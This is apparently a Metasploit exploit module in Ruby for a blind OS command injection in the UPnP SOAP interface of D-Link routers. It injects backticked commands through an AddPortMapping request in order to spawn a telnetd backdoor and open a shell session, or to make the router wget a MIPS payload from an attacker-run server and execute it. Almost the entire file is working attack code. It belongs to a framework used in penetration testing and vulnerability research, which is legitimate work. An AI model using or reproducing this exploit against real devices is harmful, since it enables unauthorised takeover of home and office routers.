## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link UPnP SOAP Command Execution', 'Description' => %q{ Different DLink Routers are vulnerable to OS Command injection in the UPnP SOAP interface. Not every device includes wget which we need for deploying our payload. On such devices you could use the telnet target for starting a telnet server or the cmd generic payload and try to start telnetd or execute other commands. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This module has been tested successfully on DIR-300, DIR-600, DIR-645, DIR-845, DIR-865. It looks like that there are some more D-Link devices affected. }, 'Author' => [ 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '94924' ], [ 'EDB', '26664' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ [ 'CMD', #all devices { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Telnet', #all devices { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload', #DIR-865, DIR-645, and some more { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(49152), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), #OptString.new('TELNETUSER', [false, 'User to start the telnet daemon (default: random)' ]), #OptString.new('TELNETPASS', [false, 'User to start the telnet daemon (default: random)' ]) ], self.class) end def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) uri = '/soap.cgi' data_uri = "?service=WANIPConn1" data_cmd = "" data_cmd << "" data_cmd << "" if type == "add" vprint_status("#{rhost}:#{rport} - adding portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd << "" data_cmd << "#{new_portmapping_description}" data_cmd << "" data_cmd << "`#{cmd}`" data_cmd << "1" data_cmd << "#{new_external_port}" data_cmd << "" data_cmd << "TCP" data_cmd << "#{new_internal_port}" data_cmd << "" else #we should clean it up ... otherwise we are not able to exploit it multiple times vprint_status("#{rhost}:#{rport} - deleting portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" data_cmd << "" data_cmd << "TCP#{new_external_port}" data_cmd << "" end data_cmd << "" data_cmd << "" begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => "text/xml", 'method' => 'POST', 'headers' => { 'SOAPAction' => soapaction, }, 'data' => data_cmd }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) new_portmapping_description = rand_text_alpha(8) new_external_port = rand(65535) new_internal_port = rand(65535) if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded type = "add" res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) if (!res or res.code != 200) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") type = "delete" res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) if (!res or res.code != 200) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end return end if target.name =~ /Telnet/ #passw = datastore['TELNETPASS'] || rand_text_alpha(8) #user = datastore['TELNETUSER'] || rand_text_alpha(4) telnetport = rand(65535) #vprint_status("#{rhost}:#{rport} - User: #{user}") #vprint_status("#{rhost}:#{rport} - Password: #{passw}") vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") #cmd = "telnetd -p #{telnetport} -l \"/usr/sbin/login\" -u #{user}:#{passw}" cmd = "telnetd -p #{telnetport}" type = "add" res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) if (!res or res.code != 200) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end type = "delete" res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) if (!res or res.code != 200) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end begin sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") else print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" auth_info = { :host => rhost, :port => telnetport, :sname => 'telnet', #:user => user, #:pass => passw, :source_type => "exploit", :active => true } report_auth_info(auth_info) merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, 'PASS_FILE' => nil, #'USERNAME' => user, #'PASSWORD' => passw } #taken from ./lib/msf/core/auxiliary/commandshell.rb info = "TELNET (#{rhost}:#{telnetport})" sess = Msf::Sessions::CommandShell.new(sock) sess.set_from_exploit(self) sess.info = info # Clean up the stored data sess.exploit_datastore.merge!(merge_me) # Prevent the socket from being closed self.sockets.delete(sock) self.sock = nil if self.respond_to? :sock framework.sessions.register(sess) sess.process_autoruns(datastore) sess rescue print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end return end #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" type = "add" res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) if (!res or res.code != 200) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") type = "delete" res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description) if (!res or res.code != 200) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") end end end end